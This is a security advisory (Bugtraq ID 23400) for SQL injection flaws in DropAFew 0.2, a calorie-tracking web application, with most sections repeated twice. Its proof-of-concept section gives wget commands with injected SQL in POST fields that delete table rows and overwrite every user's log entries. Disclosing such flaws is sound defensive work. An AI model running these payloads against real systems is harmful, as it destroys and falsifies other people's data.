DropAFew Multiple SQL Injection Vulnerabilities
BID:23400
Info
DropAFew Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 23400 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-1364 CVE-2007-1363 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 10 2007 12:00AM |
| Updated: | Jul 06 2016 02:39PM |
| Credit: | Alexander Klink is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
DropAFew DropAFew 0.2 |
| Not Vulnerable: |
DropAFew DropAFew 0.2.1 |
Discussion
DropAFew Multiple SQL Injection Vulnerabilities
DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
These issues affect DropAFew 0.2; prior versions may also be affected.
DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
These issues affect DropAFew 0.2; prior versions may also be affected.
Exploit / POC
DropAFew Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following proof-of-concept URIs are available:
# create new user
wget --save-cookies cookies --keep-session-cookies --post-data='username=exploit&password=1&password_confirm=1' http://[target]/calorie/newaccount2.php
# delete foodfacts table
wget --load-cookies cookies --post-data='id=1%20OR%20id%20>%200--&action=del' http://[target]/calorie/search.php
# make everyone have eaten 1000 strawberries, but hey, they were only 10
# calories ...
wget --load-cookies cookies --post-data='action=save&id=1&date=20070101&time=23232323&vendor=nature&item=strawberries&portion=1000&calories=10+WHERE+id+%3E+0+%2F*'
http://[target]/calorie/editlogcal.php
Attackers can use a browser to exploit these issues.
The following proof-of-concept URIs are available:
# create new user
wget --save-cookies cookies --keep-session-cookies --post-data='username=exploit&password=1&password_confirm=1' http://[target]/calorie/newaccount2.php
# delete foodfacts table
wget --load-cookies cookies --post-data='id=1%20OR%20id%20>%200--&action=del' http://[target]/calorie/search.php
# make everyone have eaten 1000 strawberries, but hey, they were only 10
# calories ...
wget --load-cookies cookies --post-data='action=save&id=1&date=20070101&time=23232323&vendor=nature&item=strawberries&portion=1000&calories=10+WHERE+id+%3E+0+%2F*'
http://[target]/calorie/editlogcal.php
Solution / Fix
DropAFew Multiple SQL Injection Vulnerabilities
Solution:
The vendor released updates to address these issues. Please see the references for more information.
Solution:
The vendor released updates to address these issues. Please see the references for more information.